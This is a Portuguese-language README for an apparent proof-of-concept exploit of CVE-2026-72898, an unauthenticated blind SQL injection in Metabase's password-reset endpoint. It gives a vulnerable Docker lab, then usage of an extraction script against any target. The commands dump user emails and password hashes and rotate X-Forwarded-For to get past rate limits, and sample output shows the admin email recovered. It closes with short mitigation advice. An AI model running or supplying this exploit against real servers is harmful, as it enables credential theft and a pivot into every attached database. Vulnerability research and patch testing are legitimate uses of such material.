
Exploit de injeção SQL cega não autenticada para Metabase, explorando uma injeção SQL bruta no endpoint de redefinição de senha para extrair dados por meio de técnicas baseadas em tempo.
★ CVE-2026-72898 Metabase /api/session/reset_password sem autenticação blind SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 é uma SQL injection sem autenticação no Metabase (CVSS 10.0) acessível através do endpoint público
POST /api/session/reset_password. O endpoint mescla o corpo da requisição com o resultado da autenticação (falha) —(merge request (authenticate ...))— de modo que um campouser-idfornecido pelo atacante sobrevive intacto e chega à consulta de usuário no banco de dados da aplicaçãot2/select-one :model/User :id user-idsem validação de inteiro. O Metabase constrói SQL com , cujo mapa é compilado como um (sem vinculação de parâmetros). Enviar como portanto injeta SQL arbitrário no banco de dados da aplicação. O endpoint sempre retorna , então a injeção é ; os dados são recuperados com (o banco de dados de aplicação Postgres padrão de produção). A exploração bem-sucedida resulta em dados de administrador do Metabase, credenciais de conexão armazenadas para cada fonte de dados anexada e pivô completo para esses bancos de dados.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Categoria | Versão |
|---|---|
| Vulnerável | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Corrigida | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 ou posterior |
pos-int? para que um user-id não inteiro seja recusado antes da consultaCompile e execute o Metabase vulnerável. Ele usa um banco de dados de aplicação Postgres (necessário — a
técnica baseada em tempo precisa de pg_sleep, que o H2 não possui) e conclui automaticamente a configuração inicial para que
inicialize em uma página de login. A inicialização leva ~40–60 segundos.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Pré-condição | Estado neste laboratório |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
Banco de dados de aplicação Postgres (habilita pg_sleep) | incluído na imagem |
/api/session/reset_password acessível sem autenticação | exposto |
| Limite de redefinição por IP (contornado rotacionando X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
O exploit metabase_exploit.py lê qualquer valor que você apontar, sem credenciais, usando
a primitiva cega baseada em tempo. Ele envia um X-Forwarded-For aleatório novo por requisição para contornar o
limite de taxa por IP (como os ataques reais fizeram). Escolha o alvo com --extract "<SQL>".
# padrão: extrai o e-mail do administrador
python3 metabase_exploit.py 172.17.0.2:3000
# extraia qualquer coisa que quiser (qualquer expressão SQL escalar)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] alvo http://172.17.0.2:3000/api/session/reset_password
[*] extrair (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] comprimento = 15; extraindo ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRAÍDO: [email protected]
Opções:
--check — apenas confirma se a injeção é explorável (mostra a diferença de tempo do pg_sleep)--extract "<SQL>" — qualquer expressão SQL escalar (convertida para texto automaticamente)--sleep 0.4 — atraso por bit TRUE (aumente em um alvo lento/remoto)POST /api/session/reset_password em um proxy/WAFcore_session), revise contas de administrador e chaves de API, e rotacione as credenciais de conexão de cada fonte de dados anexada (presuma que foram expostas se o endpoint estava acessível pela internet)